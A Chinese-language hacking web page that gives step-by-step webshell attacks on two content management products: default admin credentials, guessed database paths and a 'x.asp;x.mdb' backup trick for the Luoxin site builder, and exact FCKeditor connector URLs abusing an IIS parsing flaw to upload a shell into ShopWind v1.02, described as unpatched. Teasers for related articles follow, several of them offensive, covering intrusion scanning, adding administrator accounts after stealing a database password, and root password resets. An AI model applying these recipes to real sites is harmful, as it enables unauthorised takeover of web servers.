罗信网络建站系统数据备份 shopwind网店系统上传漏洞

2018-03-09 10:33:53责编：llp 来源：驱动管家人气：

罗信网络建站系统oDAY

百度 or google "技术支持：罗信网络"

后台地址： site+lx

数据库地址： site+lx+databases+主域名.asp（需要猜测）

帐号&密码： admin admin

下来就是拿shell

重要部分：上传jpg格式的asp马

数据库备份,请注意，这里只能备份后缀为mdb格式的.

那我们怎么备份呢？

还记得之前x.asp;x.jpg格式吗？

对我们依靠这个备份格式为： x.asp;x.mdb

OK之后访问我们的备份shell

在线编辑器： site+/lx/edit/admin_login.asp

在线编辑器数据库地址 site/lx/edit/db/%23edit.mdb

注释：官方未修补

====================YD分界线====================

ShopWind网店系统 v1.02 上传漏洞

罗信网络建站系统数据备份 shopwind网店系统上传漏洞

Author：Lan3a

这个程序用的是FCKeditor 编辑器

利用2003的解析问题。直接说利用方法！

第一步：

FCKeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975684

第二步：

fckeditor/editor/filemanager/browser/default/browser.html?Type=Image&Connector=../../connectors/asp/connector.asp

java有哪些方法可以防止sql注入？
java防SQL注入,最简单的办法是杜绝SQL拼接,SQL注入攻击能得逞是因为在原有SQL语句中加入了新的逻辑，如果使用PreparedStatement来代替Statement来执行SQL语句，其后只是输入参数，SQL注入攻击手段将无效，这是因
详情2018-01-14 18:07:43责编：llp 来源：驱动管家
网站入侵方法大揭秘不懂如何入侵的看过来！
首先请安装WIN2000系统，然后打开扫描软件X-Scan2 3，再点击“设置扫描参数”，在出现的对话框中添入一段IP地址，如61 139 * 1－61 139 2** 255，然后点击确定。继续点击“设置扫描模块”，勾选SQL－Server弱口
详情2018-03-02 15:05:40责编：llp 来源：驱动管家
windows 命令行下的调试工具：ntsd进行远程调试的步骤
这个其实是 NTSD exe 的正常功能，远程调试功能，更多说明自己谷歌搜索，这是一个 windows 命令行下的调试工具，功能十分强大。1 肉鸡上运行：ntsd -server tcp:port=端口要调试的程序（可以任意，只要存
详情2018-01-24 19:52:05责编：llp 来源：驱动管家
利用winnt对象不靠cmd命令添加一个管理员的具体代码
在获得SA密码后，往往因为服务器管理者或”前人”将net exe和net1 exe被限制使用，无法添加管理员账号。我们知道VBS在活动目录(ADSI)部分有一个winnt对象，用来管理本地资源，利用它可以不依靠CMD等命令就能添加
详情2018-02-13 11:07:12责编：llp 来源：驱动管家
2016年木马病毒查杀软件的排行榜
现在的电脑杀毒软件种类很多，在选择的时候，很多人并不知道如何去进行选，按照什么标准来进行选择，其实在选择杀毒软件首先要看杀毒能力，其次可以根据杀毒软件的功能来进行判定排名，下面就和大家一起来分析一
详情2018-01-05 13:58:41责编：llp 来源：驱动管家
telnet命令的字符有哪些？telnet特殊命令模式escape
除了在Telnet是如何工作的例子介绍的以外,Telnet还有很多的特点。Telnet可发送除了 "escape "的任何字符到远程主机上。因为 "escape "字符在Telnet中是客户机的一个特殊的命令模式，它的默认值是 "Ctrl-] "。但要注意不
详情2018-01-24 09:30:59责编：llp 来源：驱动管家
jsp服务器空间存在哪些问题？入侵jsp服务器的方法是什么？
在用JSP制作的电子商务网站多如牛毛。但是对于JSP网站而言，安全性真的能够让人放心吗？面对层出不穷的黑客攻击和病毒袭击，JSP网站的服务器能够比其他网站的服务器器更加安全吗？前段时间，应朋友之邀，我对他们
详情2018-01-29 19:05:53责编：llp 来源：驱动管家
quicktime播放器存在缓冲区溢出漏洞怎么修复？
受影响系统：Apple QuickTime Player < 7 4不受影响系统：Apple QuickTime Player 7 4Apple QuickTime是一款非常流行的多媒体播放器。QuickTime在处理压缩的PICT图形时存在缓冲区溢出漏洞，如果用户受骗
详情2018-01-28 11:40:20责编：llp 来源：驱动管家
使用microsoft internet explorer访问带恶意ftp url网页会受到攻击
microsoft internet explorer是微软发布的非常流行的WEB浏览器。如果用户访问了包含有恶意FTP URL的网页的话，Internet Explorer 5和6解码可能无法正确地过滤URL，强制Internet Explorer通过在HTML元素所提
详情2018-01-22 13:21:01责编：llp 来源：驱动管家
linux系统密码怎么破解？freebsd系统密码破解步骤
（一）Linux 系统密码破解在grub选项菜单按E进入编辑模式2 编辑kernel那行 init 1 (或 single)3 按B重启4 进入后执行下列命令root@ passwd root (设置root的密码)Enter new unix password:输入新的密码
详情2018-02-06 10:15:26责编：llp 来源：驱动管家